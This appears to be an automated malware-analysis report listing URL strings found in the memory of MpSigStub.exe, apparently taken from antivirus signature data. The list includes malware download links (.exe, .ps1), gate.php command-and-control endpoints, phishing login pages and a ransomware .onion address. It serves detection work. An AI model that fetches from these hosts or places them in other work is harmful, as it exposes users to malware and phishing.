        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://azalea26.orange.ero0101.com/set_inf.php?id=ero257.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://azalea26.orange.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://b.reich.io/
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://b.wehelptoyou.com
        Source: MpSigStub.exe, 00000023.00000003.18283887577.0000015B1A84E000.00000004.00000001.sdmpString found in binary or memory: http://ba3a.biz
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://babelfish.altavista.com/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://babukq4e2p4wu4iq.onion
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://bachduongshops.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bahaiat.net/vm/dropbox/)
        Source: MpSigStub.exe, 00000023.00000003.18295774211.0000015B1BEE1000.00000004.00000001.sdmpString found in binary or memory: http://bai2.tlbxsj.com/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://baidu.wxbjy.info
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://balaiomaranhao.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://balochirap.com/wp-content/pdf/payment_advice_pdf.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://banatara.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://banatte.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://bangash-free-soft.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://bani-pe-net-cum-sa-faci-bani.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18349680416.0000015B08178000.00000004.00000001.sdmpString found in binary or memory: http://bannercpm.com/bc
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://bar-refaeli-online.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://bardubar.com/mMS83JIdhq/ieygBSH38hsJa/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://barrefaeli-hot.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://basti.ciseducation.org/website/images/prettyphoto/dark_square/.x1-unix/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://batrasiaku.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://batysnewskz.kz/ups.com
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://bbc.lumpens.org/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bbfitblogger.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bbtbfr.pw/GetHPHost
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bbtbfr.pw/ads/gad1.js
        Source: MpSigStub.exe, 00000023.00000003.18282239876.0000015B1C55A000.00000004.00000001.sdmpString found in binary or memory: http://bcoolapp.com
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://bdsmforyoungs.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://beautifulmaori.co.nz/wp-content/plugins/wp-xmll_2/gorfy2pq/1ny0mnkih27id8m.ktk
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://beautybrief.com/c/gate.php
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://beef.smmovefilehost.com/pc/page/set_reg.php?afc=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://bellasimpson.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://berita-mediasemasa.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://berita-tanahmelayu.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://berkah2013.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://beruijindegunhadesun.com/ktmcheck.exe
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://best-search.us
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://best4hack.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://bestbsd.info/cd/cd.php?id=%s&ver=ig1
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://bestbsd.info/cd/cd.php?id=%s&ver=ig1http://rezultsd.info/cd/cd.php?id=%s&ver=ig1http://carren
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://bestbsd.info/cd/cd.php?id=ERROR&ver=ig1
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bestnyaduit.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://bestofthebesttatoo.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://bestoneoffour.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://bestsoll.com/forum/go.php?sid=2
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://besttechforum.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpString found in binary or memory: http://besttoolbars.net/af_analytics
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bestwebtips.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://beutiful-girl-fuck-moviepp.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://bfb3c.21a8b.j4fbs.k876c575n.v48796e.f5.nbdc.y7.v2da8e4kt.drovemeetings.in/
        Source: MpSigStub.exe, 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmpString found in binary or memory: http://bgtc.pctonics.com
        Source: MpSigStub.exe, 00000023.00000003.18334799670.0000015B1A704000.00000004.00000001.sdmpString found in binary or memory: http://bhngvfcdswqwertyuiopasdfghjkllkjhgfdsapo.ydns.eu/srvhost.doc
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://biancavoguel.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://bibliaamada.org/counter.php
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://big-boobs-nude.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://bigboobsp.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://bigdeal777.com/gate.php?f=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bikerboyz11.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://bilakubercakap.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://bilincaltitelkincd.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://bilincaltitemizligi.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: http://billpay-center.com/post/506pblpks.exe
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://binnenspegel.fryslan.intern/ofdielingen/iv/ict/projecten/docbaseq32014/documenten/forms/templ
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://binni-ks.com/modules/dashgoals/binni.htm)
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: http://bintai.com.sg.oliverboeckel.com/zgf2ev9zdwlaymludgfplmnvbs5zzw==
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://binyousafindustries.com/fonts/jo/mops.exe
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://bis.180solutions.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bisersables.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fq2er
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fq2fy
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fq2h9
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fq2pe
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fq2tt
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fq3ed
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqksy
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fql9f
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqlxg
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqm5f
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqmag
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqmin
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqnfa
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqnzq
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqrh4
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqv6g
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqv8b
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqwam
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqwdq
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqxt8
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqxx3
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqxx8
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqyco
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqycs
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqyh6
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqyha
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqyhe
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqyhk
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqzi9
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqzim
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqzmn
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqzmv
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqzr4
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqzt3
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpString found in binary or memory: http://bit.do/fqztv
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly
        Source: MpSigStub.exe, 00000023.00000003.18307074601.0000015B1AA4C000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/28jsjnq)
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/29vi7ez)
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2bl50do
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2cobwhj)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2cokxeu)
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2cqkvnc)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2df4jbx)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2h3fi0m)
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2hload25ydu19
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2jg4gfn)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2kud4md)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2p8qtra)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bit.ly/2q93tca)
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://bitcoincoin.xyz/payment/xls.exe
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpString found in binary or memory: http://bitmessage.org/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://bittupadam.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bjphplegal.org/wp-admin/script/)/s/uri
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://bl103w.blu103.mail.live.com/mail/InboxLight.aspx?n=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://black43.ars.0manko.jp/set_inf.php?id=movies.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://blackhole.ddnsgeek.com:8088
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://blackl1vesmatter.org/gate
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://blackl1vesmatter.org/success
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://blackterias.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://blank-record.com/cgi-bin/search?id=
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://blattodea.ru/acd53ad2/although/clamp/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://blessedindia.org/9ifuurhgwq
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://blockchain.info/address/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://blog-ilmu10.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://blog-misteri.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://blog-rye.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://blog.eduadda.in/wp-content/themes/twentythirteen/get.php?id=
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: http://blog.x-row.net/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://blogcliphai.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bloggersiput.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://bloggiaitribg.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://bloghumortododiablog.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://blogketoanthue.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://bloglistcorner.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://blogluyoruz.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://blogphimhay41.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://blogsemasacaparnab.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://bloodcrypt.com/info/info.txt
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://bnpost.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bollyinthon.com/docusign/doc/home/index.php)
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://bonkersmen.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://bonzo.lublin.pl/help/helpNEW.exe
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://book4u-free.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://booknology.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://boomdakai.tk/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bootreading.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18297596094.0000015B1B44F000.00000004.00000001.sdmpString found in binary or memory: http://bopdu.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://bornforthis.ml/liverpool-fc-news/features/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://bornonthescene.com/purchase/kill.php?ten=fingers)
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bosengaptek.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://boss.orda.icu/mailb.php
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpString found in binary or memory: http://bot.cjfeeds.com
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://bot.whatismyipaddress.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bousalemfoot.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://brazzerslove.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://brembotembo.com/1.dat
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://brembotembo.com/2.dat
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://brembotembo.com/doc.xls
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://brilhosefascinios.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: http://brokentools.xyz/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://brotherunited.cf/.start/yxblcmv6qgnhcm5pdmfslmnvbq==
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpString found in binary or memory: http://browsetosave.info
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://browseusers.myspace.com/Browse/Browse.aspx
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://bsalsa.com/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://bsskillthdyemmulatorsdevelovercomun6bfs.duckdns.org/document/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://bugs.clamav.net
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://buildwith307.com?
        Source: MpSigStub.exe, 00000023.00000003.18284892419.0000015B1AF67000.00000004.00000001.sdmpString found in binary or memory: http://bukankeranaakutakcintafull.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://bulldogsportscol.com/docs/adobe/viewer.php?idp=login
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://busco-mujeres.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://businesswebapp.com/realtors/wp-admin/js/jb/login%20pdf.html)
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://butterchoco.net/admin/bull/gate.php
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://buy.haote.com/?
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://by137w.bay137.mail.live.com/mail/HipLight.aspx?n=
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://by137w.bay137.mail.live.com/mail/InboxLight.aspx?
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://by142w.bay142.mail.live.com/mail/InboxLight.aspx?n=
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://bytecoin.tk/m/svchosts.exe
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://c2quocoaidateh.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://c4.faceb00k.com:8888/files/run2.ps1
